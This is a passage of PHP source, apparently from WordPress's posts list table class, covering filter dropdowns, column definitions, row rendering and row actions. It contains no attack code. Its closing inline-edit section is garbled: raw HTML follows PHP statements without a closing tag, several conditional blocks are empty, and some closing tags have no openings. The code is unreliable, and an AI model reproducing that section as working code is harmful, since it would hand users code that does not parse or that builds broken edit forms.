			wp_dropdown_categories( $dropdown_options );
		}
	}

/**
	 * Displays a formats drop-down for filtering items.
	 *
	 * @since 5.2.0
	 * @access protected
	 *
	 * @param string $post_type Post type slug.
	 */
	protected function formats_dropdown( $post_type ) {
		/**
		 * Filters whether to remove the 'Formats' drop-down from the post list table.
		 *
		 * @since 5.2.0
		 * @since 5.5.0 The `$post_type` parameter was added.
		 *
		 * @param bool   $disable   Whether to disable the drop-down. Default false.
		 * @param string $post_type Post type slug.
		 */
		if ( apply_filters( 'disable_formats_dropdown', false, $post_type ) ) {
			return;
		}

// Return if the post type doesn't have post formats or if we're in the Trash.
		if ( ! is_object_in_taxonomy( $post_type, 'post_format' ) || $this->is_trash ) {
			return;
		}

// Make sure the dropdown shows only formats with a post count greater than 0.
		$used_post_formats = get_terms(
			array(
				'taxonomy'   => 'post_format',
				'hide_empty' => true,
			)
		);

// Return if there are no posts using formats.
		if ( ! $used_post_formats ) {
			return;
		}

$displayed_post_format = isset( $_GET['post_format'] ) ? $_GET['post_format'] : '';
		?>
		<label for="filter-by-format" class="screen-reader-text"><?php _e( 'Filter by post format' ); ?></label>
		<select name="post_format" id="filter-by-format">
			<option<?php selected( $displayed_post_format, '' ); ?> value=""><?php _e( 'All formats' ); ?></option>
			<?php
			foreach ( $used_post_formats as $used_post_format ) {
				// Post format slug.
				$slug = str_replace( 'post-format-', '', $used_post_format->slug );
				// Pretty, translated version of the post format slug.
				$pretty_name = get_post_format_string( $slug );
				// Skip the standard post format.
				if ( 'standard' === $slug ) {
					continue;
				}
				?>
				<option<?php selected( $displayed_post_format, $slug ); ?> value="<?php echo esc_attr( $slug ); ?>"><?php echo esc_html( $pretty_name ); ?></option>
				<?php
			}
			?>
		</select>
		<?php
	}

/**
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {
		?>
		<div class="alignleft actions">
		<?php
		if ( 'top' === $which ) {
			ob_start();

$this->months_dropdown( $this->screen->post_type );
			$this->categories_dropdown( $this->screen->post_type );
			$this->formats_dropdown( $this->screen->post_type );

/**
			 * Fires before the Filter button on the Posts and Pages list tables.
			 *
			 * The Filter button allows sorting by date and/or category on the
			 * Posts list table, and sorting by date on the Pages list table.
			 *
			 * @since 2.1.0
			 * @since 4.4.0 The `$post_type` parameter was added.
			 * @since 4.6.0 The `$which` parameter was added.
			 *
			 * @param string $post_type The post type slug.
			 * @param string $which     The location of the extra table nav markup:
			 *                          'top' or 'bottom' for WP_Posts_List_Table,
			 *                          'bar' for WP_Media_List_Table.
			 */
			do_action( 'restrict_manage_posts', $this->screen->post_type, $which );

$output = ob_get_clean();

if ( ! empty( $output ) ) {
				echo $output;
				submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
			}
		}

if ( $this->is_trash && current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_others_posts ) && $this->has_items() ) {
			submit_button( __( 'Empty Trash' ), 'apply', 'delete_all', false );
		}
		?>
		</div>
		<?php
		/**
		 * Fires immediately following the closing "actions" div in the tablenav for the posts
		 * list table.
		 *
		 * @since 4.4.0
		 *
		 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
		 */
		do_action( 'manage_posts_extra_tablenav', $which );
	}

/**
	 * @return string
	 */
	public function current_action() {
		if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) ) {
			return 'delete_all';
		}

return parent::current_action();
	}

/**
	 * @global string $mode List table view mode.
	 *
	 * @return array
	 */
	protected function get_table_classes() {
		global $mode;

$mode_class = esc_attr( 'table-view-' . $mode );

return array( 'widefat', 'fixed', 'striped', $mode_class, is_post_type_hierarchical( $this->screen->post_type ) ? 'pages' : 'posts' );
	}

/**
	 * @return array
	 */
	public function get_columns() {
		$post_type = $this->screen->post_type;

$posts_columns = array();

$posts_columns['cb'] = '<input type="checkbox" />';

/* translators: Posts screen column name. */
		$posts_columns['title'] = _x( 'Title', 'column name' );

if ( post_type_supports( $post_type, 'author' ) ) {
			$posts_columns['author'] = __( 'Author' );
		}

$taxonomies = get_object_taxonomies( $post_type, 'objects' );
		$taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' );

/**
		 * Filters the taxonomy columns in the Posts list table.
		 *
		 * The dynamic portion of the hook name, `$post_type`, refers to the post
		 * type slug.
		 *
		 * @since 3.5.0
		 *
		 * @param string[] $taxonomies Array of taxonomy names to show columns for.
		 * @param string   $post_type  The post type.
		 */
		$taxonomies = apply_filters( "manage_taxonomies_for_{$post_type}_columns", $taxonomies, $post_type );
		$taxonomies = array_filter( $taxonomies, 'taxonomy_exists' );

foreach ( $taxonomies as $taxonomy ) {
			if ( 'category' === $taxonomy ) {
				$column_key = 'categories';
			} elseif ( 'post_tag' === $taxonomy ) {
				$column_key = 'tags';
			} else {
				$column_key = 'taxonomy-' . $taxonomy;
			}

$posts_columns[ $column_key ] = get_taxonomy( $taxonomy )->labels->name;
		}

$post_status = ! empty( $_REQUEST['post_status'] ) ? $_REQUEST['post_status'] : 'all';
		if ( post_type_supports( $post_type, 'comments' ) && ! in_array( $post_status, array( 'pending', 'draft', 'future' ), true ) ) {
			$posts_columns['comments'] = '<span class="vers comment-grey-bubble" title="' . esc_attr__( 'Comments' ) . '"><span class="screen-reader-text">' . __( 'Comments' ) . '</span></span>';
		}

$posts_columns['date'] = __( 'Date' );

if ( 'page' === $post_type ) {

/**
			 * Filters the columns displayed in the Pages list table.
			 *
			 * @since 2.5.0
			 *
			 * @param string[] $post_columns An associative array of column headings.
			 */
			$posts_columns = apply_filters( 'manage_pages_columns', $posts_columns );
		} else {

/**
			 * Filters the columns displayed in the Posts list table.
			 *
			 * @since 1.5.0
			 *
			 * @param string[] $post_columns An associative array of column headings.
			 * @param string   $post_type    The post type slug.
			 */
			$posts_columns = apply_filters( 'manage_posts_columns', $posts_columns, $post_type );
		}

/**
		 * Filters the columns displayed in the Posts list table for a specific post type.
		 *
		 * The dynamic portion of the hook name, `$post_type`, refers to the post type slug.
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $post_columns An associative array of column headings.
		 */
		return apply_filters( "manage_{$post_type}_posts_columns", $posts_columns );
	}

/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'title'    => 'title',
			'parent'   => 'parent',
			'comments' => 'comment_count',
			'date'     => array( 'date', true ),
		);
	}

/**
	 * @global WP_Query $wp_query WordPress Query object.
	 * @global int $per_page
	 * @param array $posts
	 * @param int   $level
	 */
	public function display_rows( $posts = array(), $level = 0 ) {
		global $wp_query, $per_page;

if ( empty( $posts ) ) {
			$posts = $wp_query->posts;
		}

add_filter( 'the_title', 'esc_html' );

if ( $this->hierarchical_display ) {
			$this->_display_rows_hierarchical( $posts, $this->get_pagenum(), $per_page );
		} else {
			$this->_display_rows( $posts, $level );
		}
	}

/**
	 * @param array $posts
	 * @param int   $level
	 */
	private function _display_rows( $posts, $level = 0 ) {
		$post_type = $this->screen->post_type;

// Create array of post IDs.
		$post_ids = array();

foreach ( $posts as $a_post ) {
			$post_ids[] = $a_post->ID;
		}

if ( post_type_supports( $post_type, 'comments' ) ) {
			$this->comment_pending_count = get_pending_comments_num( $post_ids );
		}

foreach ( $posts as $post ) {
			$this->single_row( $post, $level );
		}
	}

/**
	 * @global wpdb    $wpdb WordPress database abstraction object.
	 * @global WP_Post $post Global post object.
	 * @param array $pages
	 * @param int   $pagenum
	 * @param int   $per_page
	 */
	private function _display_rows_hierarchical( $pages, $pagenum = 1, $per_page = 20 ) {
		global $wpdb;

$level = 0;

if ( ! $pages ) {
			$pages = get_pages( array( 'sort_column' => 'menu_order' ) );

if ( ! $pages ) {
				return;
			}
		}

/*
		 * Arrange pages into two parts: top level pages and children_pages
		 * children_pages is two dimensional array, eg.
		 * children_pages[10][] contains all sub-pages whose parent is 10.
		 * It only takes O( N ) to arrange this and it takes O( 1 ) for subsequent lookup operations
		 * If searching, ignore hierarchy and treat everything as top level
		 */
		if ( empty( $_REQUEST['s'] ) ) {

$top_level_pages = array();
			$children_pages  = array();

foreach ( $pages as $page ) {

// Catch and repair bad pages.
				if ( $page->post_parent == $page->ID ) {
					$page->post_parent = 0;
					$wpdb->update( $wpdb->posts, array( 'post_parent' => 0 ), array( 'ID' => $page->ID ) );
					clean_post_cache( $page );
				}

if ( 0 == $page->post_parent ) {
					$top_level_pages[] = $page;
				} else {
					$children_pages[ $page->post_parent ][] = $page;
				}
			}

$pages = &$top_level_pages;
		}

$count      = 0;
		$start      = ( $pagenum - 1 ) * $per_page;
		$end        = $start + $per_page;
		$to_display = array();

foreach ( $pages as $page ) {
			if ( $count >= $end ) {
				break;
			}

if ( $count >= $start ) {
				$to_display[ $page->ID ] = $level;
			}

$count++;

if ( isset( $children_pages ) ) {
				$this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page, $to_display );
			}
		}

// If it is the last pagenum and there are orphaned pages, display them with paging as well.
		if ( isset( $children_pages ) && $count < $end ) {
			foreach ( $children_pages as $orphans ) {
				foreach ( $orphans as $op ) {
					if ( $count >= $end ) {
						break;
					}

if ( $count >= $start ) {
						$to_display[ $op->ID ] = 0;
					}

$count++;
				}
			}
		}

$ids = array_keys( $to_display );
		_prime_post_caches( $ids );

if ( ! isset( $GLOBALS['post'] ) ) {
			$GLOBALS['post'] = reset( $ids );
		}

foreach ( $to_display as $page_id => $level ) {
			echo "\t";
			$this->single_row( $page_id, $level );
		}
	}

/**
	 * Given a top level page ID, display the nested hierarchy of sub-pages
	 * together with paging support
	 *
	 * @since 3.1.0 (Standalone function exists since 2.6.0)
	 * @since 4.2.0 Added the `$to_display` parameter.
	 *
	 * @param array $children_pages
	 * @param int   $count
	 * @param int   $parent
	 * @param int   $level
	 * @param int   $pagenum
	 * @param int   $per_page
	 * @param array $to_display List of pages to be displayed. Passed by reference.
	 */
	private function _page_rows( &$children_pages, &$count, $parent, $level, $pagenum, $per_page, &$to_display ) {
		if ( ! isset( $children_pages[ $parent ] ) ) {
			return;
		}

$start = ( $pagenum - 1 ) * $per_page;
		$end   = $start + $per_page;

foreach ( $children_pages[ $parent ] as $page ) {
			if ( $count >= $end ) {
				break;
			}

// If the page starts in a subtree, print the parents.
			if ( $count == $start && $page->post_parent > 0 ) {
				$my_parents = array();
				$my_parent  = $page->post_parent;
				while ( $my_parent ) {
					// Get the ID from the list or the attribute if my_parent is an object.
					$parent_id = $my_parent;
					if ( is_object( $my_parent ) ) {
						$parent_id = $my_parent->ID;
					}

$my_parent    = get_post( $parent_id );
					$my_parents[] = $my_parent;
					if ( ! $my_parent->post_parent ) {
						break;
					}
					$my_parent = $my_parent->post_parent;
				}
				$num_parents = count( $my_parents );
				while ( $my_parent = array_pop( $my_parents ) ) {
					$to_display[ $my_parent->ID ] = $level - $num_parents;
					$num_parents--;
				}
			}

if ( $count >= $start ) {
				$to_display[ $page->ID ] = $level;
			}

$count++;

$this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page, $to_display );
		}

unset( $children_pages[ $parent ] ); // Required in order to keep track of orphans.
	}

/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_cb( $post ) {
		if ( current_user_can( 'edit_post', $post->ID ) ) :
			?>
			<label class="screen-reader-text" for="cb-select-<?php the_ID(); ?>">
				<?php
					/* translators: %s: Post title. */
					printf( __( 'Select %s' ), _draft_or_post_title() );
				?>
			</label>
			<input id="cb-select-<?php the_ID(); ?>" type="checkbox" name="post[]" value="<?php the_ID(); ?>" />
			<div class="locked-indicator">
				<span class="locked-indicator-icon" aria-hidden="true"></span>
				<span class="screen-reader-text">
				<?php
				printf(
					/* translators: %s: Post title. */
					__( '&#8220;%s&#8221; is locked' ),
					_draft_or_post_title()
				);
				?>
				</span>
			</div>
			<?php
		endif;
	}

/**
	 * @since 4.3.0
	 *
	 * @param WP_Post $post
	 * @param string  $classes
	 * @param string  $data
	 * @param string  $primary
	 */
	protected function _column_title( $post, $classes, $data, $primary ) {
		echo '<td class="' . $classes . ' page-title" ', $data, '>';
		echo $this->column_title( $post );
		echo $this->handle_row_actions( $post, 'title', $primary );
		echo '</td>';
	}

/**
	 * Handles the title column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_title( $post ) {
		global $mode;

if ( $this->hierarchical_display ) {
			if ( 0 === $this->current_level && (int) $post->post_parent > 0 ) {
				// Sent level 0 by accident, by default, or because we don't know the actual level.
				$find_main_page = (int) $post->post_parent;
				while ( $find_main_page > 0 ) {
					$parent = get_post( $find_main_page );

if ( is_null( $parent ) ) {
						break;
					}

$this->current_level++;
					$find_main_page = (int) $parent->post_parent;

if ( ! isset( $parent_name ) ) {
						/** This filter is documented in wp-includes/post-template.php */
						$parent_name = apply_filters( 'the_title', $parent->post_title, $parent->ID );
					}
				}
			}
		}

$can_edit_post = current_user_can( 'edit_post', $post->ID );

if ( $can_edit_post && 'trash' !== $post->post_status ) {
			$lock_holder = wp_check_post_lock( $post->ID );

if ( $lock_holder ) {
				$lock_holder   = get_userdata( $lock_holder );
				$locked_avatar = get_avatar( $lock_holder->ID, 18 );
				/* translators: %s: User's display name. */
				$locked_text = esc_html( sprintf( __( '%s is currently editing' ), $lock_holder->display_name ) );
			} else {
				$locked_avatar = '';
				$locked_text   = '';
			}

echo '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n";
		}

$pad = str_repeat( '&#8212; ', $this->current_level );
		echo '<strong>';

$title = _draft_or_post_title();

if ( $can_edit_post && 'trash' !== $post->post_status ) {
			printf(
				'<a class="row-title" href="%s" aria-label="%s">%s%s</a>',
				get_edit_post_link( $post->ID ),
				/* translators: %s: Post title. */
				esc_attr( sprintf( __( '&#8220;%s&#8221; (Edit)' ), $title ) ),
				$pad,
				$title
			);
		} else {
			printf(
				'<span>%s%s</span>',
				$pad,
				$title
			);
		}
		_post_states( $post );

if ( isset( $parent_name ) ) {
			$post_type_object = get_post_type_object( $post->post_type );
			echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html( $parent_name );
		}
		echo "</strong>\n";

if ( 'excerpt' === $mode
			&& ! is_post_type_hierarchical( $this->screen->post_type )
			&& current_user_can( 'read_post', $post->ID )
		) {
			if ( post_password_required( $post ) ) {
				echo '<span class="protected-post-excerpt">' . esc_html( get_the_excerpt() ) . '</span>';
			} else {
				echo esc_html( get_the_excerpt() );
			}
		}

get_inline_data( $post );
	}

/**
	 * Handles the post date column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_date( $post ) {
		global $mode;

if ( '0000-00-00 00:00:00' === $post->post_date ) {
			$t_time    = __( 'Unpublished' );
			$time_diff = 0;
		} else {
			$t_time = sprintf(
				/* translators: 1: Post date, 2: Post time. */
				__( '%1$s at %2$s' ),
				/* translators: Post date format. See https://www.php.net/date */
				get_the_time( __( 'Y/m/d' ), $post ),
				/* translators: Post time format. See https://www.php.net/date */
				get_the_time( __( 'g:i a' ), $post )
			);

$time      = get_post_timestamp( $post );
			$time_diff = time() - $time;
		}

if ( 'publish' === $post->post_status ) {
			$status = __( 'Published' );
		} elseif ( 'future' === $post->post_status ) {
			if ( $time_diff > 0 ) {
				$status = '<strong class="error-message">' . __( 'Missed schedule' ) . '</strong>';
			} else {
				$status = __( 'Scheduled' );
			}
		} else {
			$status = __( 'Last Modified' );
		}

/**
		 * Filters the status text of the post.
		 *
		 * @since 4.8.0
		 *
		 * @param string  $status      The status text.
		 * @param WP_Post $post        Post object.
		 * @param string  $column_name The column name.
		 * @param string  $mode        The list display mode ('excerpt' or 'list').
		 */
		$status = apply_filters( 'post_date_column_status', $status, $post, 'date', $mode );

if ( $status ) {
			echo $status . '<br />';
		}

/**
		 * Filters the published time of the post.
		 *
		 * @since 2.5.1
		 * @since 5.5.0 Removed the difference between 'excerpt' and 'list' modes.
		 *              The published time and date are both displayed now,
		 *              which is equivalent to the previous 'excerpt' mode.
		 *
		 * @param string  $t_time      The published time.
		 * @param WP_Post $post        Post object.
		 * @param string  $column_name The column name.
		 * @param string  $mode        The list display mode ('excerpt' or 'list').
		 */
		echo apply_filters( 'post_date_column_time', $t_time, $post, 'date', $mode );
	}

/**
	 * Handles the comments column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_comments( $post ) {
		?>
		<div class="post-com-count-wrapper">
		<?php
			$pending_comments = isset( $this->comment_pending_count[ $post->ID ] ) ? $this->comment_pending_count[ $post->ID ] : 0;

$this->comments_bubble( $post->ID, $pending_comments );
		?>
		</div>
		<?php
	}

/**
	 * Handles the post author column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_author( $post ) {
		$args = array(
			'post_type' => $post->post_type,
			'author'    => get_the_author_meta( 'ID' ),
		);
		echo $this->get_edit_link( $args, get_the_author() );
	}

/**
	 * Handles the default column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post        The current WP_Post object.
	 * @param string  $column_name The current column name.
	 */
	public function column_default( $post, $column_name ) {
		if ( 'categories' === $column_name ) {
			$taxonomy = 'category';
		} elseif ( 'tags' === $column_name ) {
			$taxonomy = 'post_tag';
		} elseif ( 0 === strpos( $column_name, 'taxonomy-' ) ) {
			$taxonomy = substr( $column_name, 9 );
		} else {
			$taxonomy = false;
		}
		if ( $taxonomy ) {
			$taxonomy_object = get_taxonomy( $taxonomy );
			$terms           = get_the_terms( $post->ID, $taxonomy );
			if ( is_array( $terms ) ) {
				$term_links = array();
				foreach ( $terms as $t ) {
					$posts_in_term_qv = array();
					if ( 'post' !== $post->post_type ) {
						$posts_in_term_qv['post_type'] = $post->post_type;
					}
					if ( $taxonomy_object->query_var ) {
						$posts_in_term_qv[ $taxonomy_object->query_var ] = $t->slug;
					} else {
						$posts_in_term_qv['taxonomy'] = $taxonomy;
						$posts_in_term_qv['term']     = $t->slug;
					}

$label = esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) );

$term_links[] = $this->get_edit_link( $posts_in_term_qv, $label );
				}

/**
				 * Filters the links in `$taxonomy` column of edit.php.
				 *
				 * @since 5.2.0
				 *
				 * @param string[]  $term_links Array of term editing links.
				 * @param string    $taxonomy   Taxonomy name.
				 * @param WP_Term[] $terms      Array of term objects appearing in the post row.
				 */
				$term_links = apply_filters( 'post_column_taxonomy_links', $term_links, $taxonomy, $terms );

/* translators: Used between list items, there is a space after the comma. */
				echo join( __( ', ' ), $term_links );
			} else {
				echo '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' . $taxonomy_object->labels->no_terms . '</span>';
			}
			return;
		}

if ( is_post_type_hierarchical( $post->post_type ) ) {

/**
			 * Fires in each custom column on the Posts list table.
			 *
			 * This hook only fires if the current post type is hierarchical,
			 * such as pages.
			 *
			 * @since 2.5.0
			 *
			 * @param string $column_name The name of the column to display.
			 * @param int    $post_id     The current post ID.
			 */
			do_action( 'manage_pages_custom_column', $column_name, $post->ID );
		} else {

/**
			 * Fires in each custom column in the Posts list table.
			 *
			 * This hook only fires if the current post type is non-hierarchical,
			 * such as posts.
			 *
			 * @since 1.5.0
			 *
			 * @param string $column_name The name of the column to display.
			 * @param int    $post_id     The current post ID.
			 */
			do_action( 'manage_posts_custom_column', $column_name, $post->ID );
		}

/**
		 * Fires for each custom column of a specific post type in the Posts list table.
		 *
		 * The dynamic portion of the hook name, `$post->post_type`, refers to the post type.
		 *
		 * @since 3.1.0
		 *
		 * @param string $column_name The name of the column to display.
		 * @param int    $post_id     The current post ID.
		 */
		do_action( "manage_{$post->post_type}_posts_custom_column", $column_name, $post->ID );
	}

/**
	 * @global WP_Post $post Global post object.
	 *
	 * @param int|WP_Post $post
	 * @param int         $level
	 */
	public function single_row( $post, $level = 0 ) {
		$global_post = get_post();

$post                = get_post( $post );
		$this->current_level = $level;

$GLOBALS['post'] = $post;
		setup_postdata( $post );

$classes = 'iedit author-' . ( get_current_user_id() == $post->post_author ? 'self' : 'other' );

$lock_holder = wp_check_post_lock( $post->ID );
		if ( $lock_holder ) {
			$classes .= ' wp-locked';
		}

if ( $post->post_parent ) {
			$count    = count( get_post_ancestors( $post->ID ) );
			$classes .= ' level-' . $count;
		} else {
			$classes .= ' level-0';
		}
		?>
		<tr id="post-<?php echo $post->ID; ?>" class="<?php echo implode( ' ', get_post_class( $classes, $post->ID ) ); ?>">
			<?php $this->single_row_columns( $post ); ?>
		</tr>
		<?php
		$GLOBALS['post'] = $global_post;
	}

/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'title'.
	 */
	protected function get_default_primary_column_name() {
		return 'title';
	}

/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 *
	 * @param object $post        Post being acted upon.
	 * @param string $column_name Current column name.
	 * @param string $primary     Primary column name.
	 * @return string Row actions output for posts, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $post, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

$post_type_object = get_post_type_object( $post->post_type );
		$can_edit_post    = current_user_can( 'edit_post', $post->ID );
		$actions          = array();
		$title            = _draft_or_post_title();

if ( $can_edit_post && 'trash' !== $post->post_status ) {
			$actions['edit'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				get_edit_post_link( $post->ID ),
				/* translators: %s: Post title. */
				esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $title ) ),
				__( 'Edit' )
			);

if ( 'wp_block' !== $post->post_type ) {
				$actions['inline hide-if-no-js'] = sprintf(
					'<button type="button" class="button-link editinline" aria-label="%s" aria-expanded="false">%s</button>',
					/* translators: %s: Post title. */
					esc_attr( sprintf( __( 'Quick edit &#8220;%s&#8221; inline' ), $title ) ),
					__( 'Quick&nbsp;Edit' )
				);
			}
		}

if ( current_user_can( 'delete_post', $post->ID ) ) {
			if ( 'trash' === $post->post_status ) {
				$actions['untrash'] = sprintf(
					'<a href="%s" aria-label="%s">%s</a>',
					wp_nonce_url( admin_url( sprintf( $post_type_object->_edit_link . '&amp;action=untrash', $post->ID ) ), 'untrash-post_' . $post->ID ),
					/* translators: %s: Post title. */
					esc_attr( sprintf( __( 'Restore &#8220;%s&#8221; from the Trash' ), $title ) ),
					__( 'Restore' )
				);
			} elseif ( EMPTY_TRASH_DAYS ) {
				$actions['trash'] = sprintf(
					'<a href="%s" class="submitdelete" aria-label="%s">%s</a>',
					get_delete_post_link( $post->ID ),
					/* translators: %s: Post title. */
					esc_attr( sprintf( __( 'Move &#8220;%s&#8221; to the Trash' ), $title ) ),
					_x( 'Trash', 'verb' )
				);
			}
			if ( 'trash' === $post->post_status || ! EMPTY_TRASH_DAYS ) {
				$actions['delete'] = sprintf(
					'<a href="%s" class="submitdelete" aria-label="%s">%s</a>',
					get_delete_post_link( $post->ID, '', true ),
					/* translators: %s: Post title. */
					esc_attr( sprintf( __( 'Delete &#8220;%s&#8221; permanently' ), $title ) ),
					__( 'Delete Permanently' )
				);
			}
		}

if ( is_post_type_viewable( $post_type_object ) ) {
			if ( in_array( $post->post_status, array( 'pending', 'draft', 'future' ), true ) ) {
				if ( $can_edit_post ) {
					$preview_link    = get_preview_post_link( $post );
					$actions['view'] = sprintf(
						'<a href="%s" rel="bookmark" aria-label="%s">%s</a>',
						esc_url( $preview_link ),
						/* translators: %s: Post title. */
						esc_attr( sprintf( __( 'Preview &#8220;%s&#8221;' ), $title ) ),
						__( 'Preview' )
					);
				}
			} elseif ( 'trash' !== $post->post_status ) {
				$actions['view'] = sprintf(
					'<a href="%s" rel="bookmark" aria-label="%s">%s</a>',
					get_permalink( $post->ID ),
					/* translators: %s: Post title. */
					esc_attr( sprintf( __( 'View &#8220;%s&#8221;' ), $title ) ),
					__( 'View' )
				);
			}
		}

if ( 'wp_block' === $post->post_type ) {
			$actions['export'] = sprintf(
				'<button type="button" class="wp-list-reusable-blocks__export button-link" data-id="%s" aria-label="%s">%s</button>',
				$post->ID,
				/* translators: %s: Post title. */
				esc_attr( sprintf( __( 'Export &#8220;%s&#8221; as JSON' ), $title ) ),
				__( 'Export as JSON' )
			);
		}

if ( is_post_type_hierarchical( $post->post_type ) ) {

/**
			 * Filters the array of row action links on the Pages list table.
			 *
			 * The filter is evaluated only for hierarchical post types.
			 *
			 * @since 2.8.0
			 *
			 * @param string[] $actions An array of row action links. Defaults are
			 *                          'Edit', 'Quick Edit', 'Restore', 'Trash',
			 *                          'Delete Permanently', 'Preview', and 'View'.
			 * @param WP_Post  $post    The post object.
			 */
			$actions = apply_filters( 'page_row_actions', $actions, $post );
		} else {

/**
			 * Filters the array of row action links on the Posts list table.
			 *
			 * The filter is evaluated only for non-hierarchical post types.
			 *
			 * @since 2.8.0
			 *
			 * @param string[] $actions An array of row action links. Defaults are
			 *                          'Edit', 'Quick Edit', 'Restore', 'Trash',
			 *                          'Delete Permanently', 'Preview', and 'View'.
			 * @param WP_Post  $post    The post object.
			 */
			$actions = apply_filters( 'post_row_actions', $actions, $post );
		}

return $this->row_actions( $actions );
	}

/**
	 * Outputs the hidden row displayed when inline editing
	 *
	 * @since 3.1.0
	 *
	 * @global string $mode List table view mode.
	 */
	public function inline_edit() {
		global $mode;

$screen = $this->screen;

$post             = get_default_post_to_edit( $screen->post_type );
		$post_type_object = get_post_type_object( $screen->post_type );

$taxonomy_names          = get_object_taxonomies( $screen->post_type );
		$hierarchical_taxonomies = array();
		$flat_taxonomies         = array();

foreach ( $taxonomy_names as $taxonomy_name ) {

$taxonomy = get_taxonomy( $taxonomy_name );

$show_in_quick_edit = $taxonomy->show_in_quick_edit;

/**
			 * Filters whether the current taxonomy should be shown in the Quick Edit panel.
			 *
			 * @since 4.2.0
			 *
			 * @param bool   $show_in_quick_edit Whether to show the current taxonomy in Quick Edit.
			 * @param string $taxonomy_name      Taxonomy name.
			 * @param string $post_type          Post type of current Quick Edit post.
			 */
			if ( ! apply_filters( 'quick_edit_show_taxonomy', $show_in_quick_edit, $taxonomy_name, $screen->post_type ) ) {
				continue;
			}

if ( $taxonomy->hierarchical ) {
				$hierarchical_taxonomies[] = $taxonomy;
			} else {
				$flat_taxonomies[] = $taxonomy;
			}
		}

$m            = ( isset( $mode ) && 'excerpt' === $mode ) ? 'excerpt' : 'list';
		$can_publish  = current_user_can( $post_type_object->cap->publish_posts );
		$core_columns = array(
			'cb'         => true,
			'date'       => true,
			'title'      => true,
			'categories' => true,
			'tags'       => true,
			'comments'   => true,
			'author'     => true,
		);

<form method="get">
		<table style="display: none"><tbody id="inlineedit">
		<?php
		$hclass              = count( $hierarchical_taxonomies ) ? 'post' : 'page';
		$inline_edit_classes = "inline-edit-row inline-edit-row-$hclass";
		$bulk_edit_classes   = "bulk-edit-row bulk-edit-row-$hclass bulk-edit-{$screen->post_type}";
		$quick_edit_classes  = "quick-edit-row quick-edit-row-$hclass inline-edit-{$screen->post_type}";

$bulk = 0;
		while ( $bulk < 2 ) :
			$classes  = $inline_edit_classes . ' ';
			$classes .= $bulk ? $bulk_edit_classes : $quick_edit_classes;
			?>
			<tr id="<?php echo $bulk ? 'bulk-edit' : 'inline-edit'; ?>" class="<?php echo $classes; ?>" style="display: none">
			<td colspan="<?php echo $this->get_column_count(); ?>" class="colspanchange">

<?php if ( post_type_supports( $screen->post_type, 'title' ) ) : ?>

<?php if ( $bulk ) : ?>

<?php else : // $bulk ?>

<?php if ( is_post_type_viewable( $screen->post_type ) ) : ?>

<?php endif; // is_post_type_viewable() ?>

<?php endif; // $bulk ?>

<?php endif; // post_type_supports( ... 'title' ) ?>

<?php if ( ! $bulk ) : ?>
					<fieldset class="inline-edit-date">
						<legend><span class="title"><?php _e( 'Date' ); ?></span></legend>
						<?php touch_time( 1, 1, 0, 1 ); ?>
					</fieldset>
					<br class="clear" />
				<?php endif; // $bulk ?>

<?php
				if ( post_type_supports( $screen->post_type, 'author' ) ) :
					$authors_dropdown = '';

if ( current_user_can( $post_type_object->cap->edit_others_posts ) ) :
						$users_opt = array(
							'hide_if_only_one_author' => false,
							'who'                     => 'authors',
							'name'                    => 'post_author',
							'class'                   => 'authors',
							'multi'                   => 1,
							'echo'                    => 0,
							'show'                    => 'display_name_with_login',
						);

if ( $bulk ) {
							$users_opt['show_option_none'] = __( '&mdash; No Change &mdash;' );
						}

$authors = wp_dropdown_users( $users_opt );
						if ( $authors ) :
							$authors_dropdown  = '<label class="inline-edit-author">';
							$authors_dropdown .= '<span class="title">' . __( 'Author' ) . '</span>';
							$authors_dropdown .= $authors;
							$authors_dropdown .= '</label>';
						endif;
					endif; // current_user_can( 'edit_others_posts' )
					?>

<?php
					if ( ! $bulk ) {
						echo $authors_dropdown;
					}
				endif; // post_type_supports( ... 'author' )
				?>

<?php if ( ! $bulk && $can_publish ) : ?>

<?php endif; ?>

</div>
			</fieldset>

<?php if ( count( $hierarchical_taxonomies ) && ! $bulk ) : ?>

<?php foreach ( $hierarchical_taxonomies as $taxonomy ) : ?>

<span class="title inline-edit-categories-label"><?php echo esc_html( $taxonomy->labels->name ); ?></span>
						<input type="hidden" name="<?php echo ( 'category' === $taxonomy->name ) ? 'post_category[]' : 'tax_input[' . esc_attr( $taxonomy->name ) . '][]'; ?>" value="0" />
						<ul class="cat-checklist <?php echo esc_attr( $taxonomy->name ); ?>-checklist">
							<?php wp_terms_checklist( null, array( 'taxonomy' => $taxonomy->name ) ); ?>
						</ul>

